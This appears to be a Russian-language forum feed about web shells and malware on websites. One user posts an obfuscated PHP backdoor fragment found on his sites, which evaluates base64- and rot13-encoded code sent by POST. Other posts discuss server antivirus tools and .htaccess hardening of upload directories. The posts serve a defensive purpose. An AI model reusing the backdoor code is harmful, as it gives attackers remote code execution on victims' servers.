Шеллы и вирусы на сайте

Обнаружил вредоносный код на сайте. Что это значит?

invalid@example.com (Jonny) — Tue, 20 Jun 2017 17:40:25 +0000

Всем привет!
Недавно я обнаружин на некоторых своих сайтах вредоносный код, вот его часть:
chr(100)."a"."\x74"."\x61"])){$ohx=chr(97)."s".chr(115).chr(101)."\x72"."t";$twu="b".chr(97)."\x73"."\x65"."6".chr(52)."\x5f"."d".chr(101)."c"."\x6f"."d"."\x65";$ye="s"."t"."\x72"."\x5f"."r"."\x6f"."t"."1".chr(51);@$ohx(@$twu(@$ye($_POST[chr(100)."a"."\x74"."\x61"])))

Вот полный код вредоносного файла:

PHP:


php...

Обнаружил вредоносный код на сайте. Что это значит?

Какое серверное антивирусное решение вы используете?

invalid@example.com (Стас) — Thu, 19 Jan 2017 03:26:53 +0000

Ни для кого не секрет, что сервера тоже нуждаются в защите от вирусов, шелл-оболочек, рут-китов.

Я лично использую айболит - скрипт удаления шеллов.

А вы что используете, как боритесь с нечистью?

Тема о борьбе с шеллами и вирусами на сайте

invalid@example.com (Стас) — Thu, 21 Jan 2016 08:39:04 +0000

Еще раз коротко - что делать для защиты ваших сайтов:

1. изоляция сайтов (один сайт - один эккаунт)
2. все директории и файлы cms делаем read-only
3. все директории, в которые производится загрузка файлов или кэширование - делаем read-write и кладем в них волшебный .htaccess, который либо делает

deny from all

либо запрещает вызов php

Options -Indexes
php_flag engine 0
RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html...

Тема о борьбе с шеллами и вирусами на сайте